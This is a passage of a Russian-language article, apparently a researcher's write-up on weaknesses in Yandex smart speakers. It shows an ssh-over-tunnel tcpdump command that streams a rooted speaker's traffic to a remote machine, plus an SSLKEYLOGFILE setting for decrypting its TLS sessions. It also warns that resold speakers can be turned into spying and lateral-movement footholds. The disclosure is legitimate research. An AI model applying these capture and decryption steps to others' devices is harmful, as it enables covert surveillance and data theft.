Раз уж стандартный метод не сработал, а возиться дальше не было желания, я перехватил трафик через консоль тем же способом, что использует Wireshark, но сохранил его на компьютере в файл.
ssh root@ru.tuna.am -p 20585 "/data/tcpdump -s 0 -n -w - -U -i wlan0 2> /dev/null " > ~/remotecapture
Полезно указывать объем трафика, при достижении которого произойдет остановка, так как Wireshark может ругаться на слишком большие файлы. Я поступил проще: подождал немного и остановил захват комбинацией Ctrl-C. Затем удалил верхние две строки файла и загрузил его в Wireshark.
Для просмотра ссылки Войди
Видим трафик! Например, пакет, летящий на clck.yandex.net. Но он зашифрован, и для его просмотра нужны сессионные ключи SSL. Это решается несложно — в сети полно инструкций по настройке системы для сохранения этих ключей в файл. Нам достаточно выполнить такую команду:
export SSLKEYLOGFILE=/data/sslkeylog.log
И начинаем ловить трафик.
Учти, что соединения, которые были открыты до запуска логирования, не раскроют свои ключи. Так что, возможно, колонку придется перезагрузить. Когда соберешь ключи и трафик, можно смотреть данные в расшифрованном виде и анализировать. Попробуй, это несложно!
Итоги
Колонки «Лайт», «Мини 2», «Мини», «Станция 2», «Лайт 2» и, возможно, «Мини 3» при покупке с рук могут оказаться совсем не безобидной игрушкой, учитывая особенности системы, которые я описал.Возможно, я тут подогреваю паранойю и недоверие, но посуди сам: не имея каких‑то особенных навыков в пентесте или взломе, используя Google и свои навыки работы с Linux, я смог «зарядить» колонку для слежки, кражи данных, саботажа умного дома, а также закрепления и бокового перемещения в сети.
Меня, как и многих пользователей, удивляет хранение личных данных без защиты, особенно учитывая, что «Яндекс» — далеко не стартап. За два года, что я с разной интенсивностью ковырялся в прошивках этих устройств, ничего кардинально не изменилось.
Какова вероятность, что кто‑то продаст колонку без сброса? Очень высокая! К сожалению, инженеры не продумали резервирование разделов загрузчиков, поэтому при каждом обновлении существует риск «окирпичивания». Я участвую в Для просмотра ссылки Войди